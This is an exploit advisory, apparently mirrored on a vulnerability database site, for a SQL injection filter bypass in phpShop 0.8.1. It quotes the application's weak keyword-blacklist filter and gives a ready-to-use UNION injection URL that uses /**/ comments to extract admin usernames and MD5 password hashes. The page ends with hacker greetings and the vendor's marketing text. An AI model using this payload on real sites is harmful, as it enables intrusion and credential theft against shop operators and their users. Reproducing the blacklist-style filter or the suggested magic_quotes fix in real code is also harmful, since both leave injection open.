Lucene search
K

phpShop <= 0.8.1 - Remote SQL injection / Filter Bypass Vulnerabilities

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 16 Views

phpShop v0.8.1 Remote SQL injection Filter Bypas

Code

                                                Vendor  : PHPShop
Webiste : http://www.phpshop.org
Version : v0.8.1
Author: the redc0ders / theredc0ders[at]gmail[dot]com
Condition: magic_quote_gpc = off , in php.ini setting

Details :
==========

  Vulnerable Code in index.php near lines 98 - 128
   [code]
 // basic SQL inject detection
   $my_insecure_array = array(&#39;keyword&#39; =&#62; $_REQUEST[&#39;keyword&#39;],
                  &#39;category_id&#39; =&#62; $_REQUEST[&#39;category_id&#39;],
                  &#39;product_id&#39; =&#62; $_REQUEST[&#39;product_id&#39;],
                  &#39;user_id&#39; =&#62; $_REQUEST[&#39;user_id&#39;],
                  &#39;user_info_id&#39; =&#62; $_REQUEST[&#39;user_info_id&#39;],
                  &#39;page&#39; =&#62; $_REQUEST[&#39;page&#39;],
                  &#39;func&#39; =&#62; $_REQUEST[&#39;func&#39;]);
                  
   while(list($key,$value)=each($my_insecure_array)) {
      if (stristr($value,&#39;FROM &#39;) ||
          stristr($value,&#39;UPDATE &#39;) ||
          stristr($value,&#39;WHERE &#39;) ||
          stristr($value,&#39;ALTER &#39;)  ||
          stristr($value,&#39;SELECT &#39;)  ||
          stristr($value,&#39;SHUTDOWN &#39;) ||
          stristr($value,&#39;CREATE &#39;) ||
          stristr($value,&#39;DROP &#39;) ||
          stristr($value,&#39;DELETE FROM&#39;) ||
          stristr($value,&#39;script&#39;) ||
          stristr($value,&#39;&#60;&#62;&#39;) ||
          stristr($value,&#39;=&#39;) ||
          stristr($value,&#39;SET &#39;))
              die(&#39;Please provide a permitted value for &#39;.$key);
   }
 [/code]

  The script check if $my_insecure_array contain &#39;SELECT &#39;,&#39;UPDATE &#39; ...etc 

  so WORD+space, and this can be easily bypassed using comments like 
  POC : select/**/input1,input2...

Exemple to inject admin username and md5 hash password : http://website/phpshop/?page=shop/flypage&product_id=-3&#39;+UNION+select/**/null,null,null,null,null,password,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,username/**/from/**/auth_user_md5/*


  
  Solution :
 simply remove spaces in stristr() function or activate magic_quotes_gpc in php.ini
 
 Greetz : Hacker1 - ToXiC350 - S4MI - Miyyet - Pynsso - Amigo_BM and All Moroccan Hackers =)

&#62;From Morocco : JIB L3EZZ WELLA K7AZZ !

# milw0rm.com [2008-02-02]

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation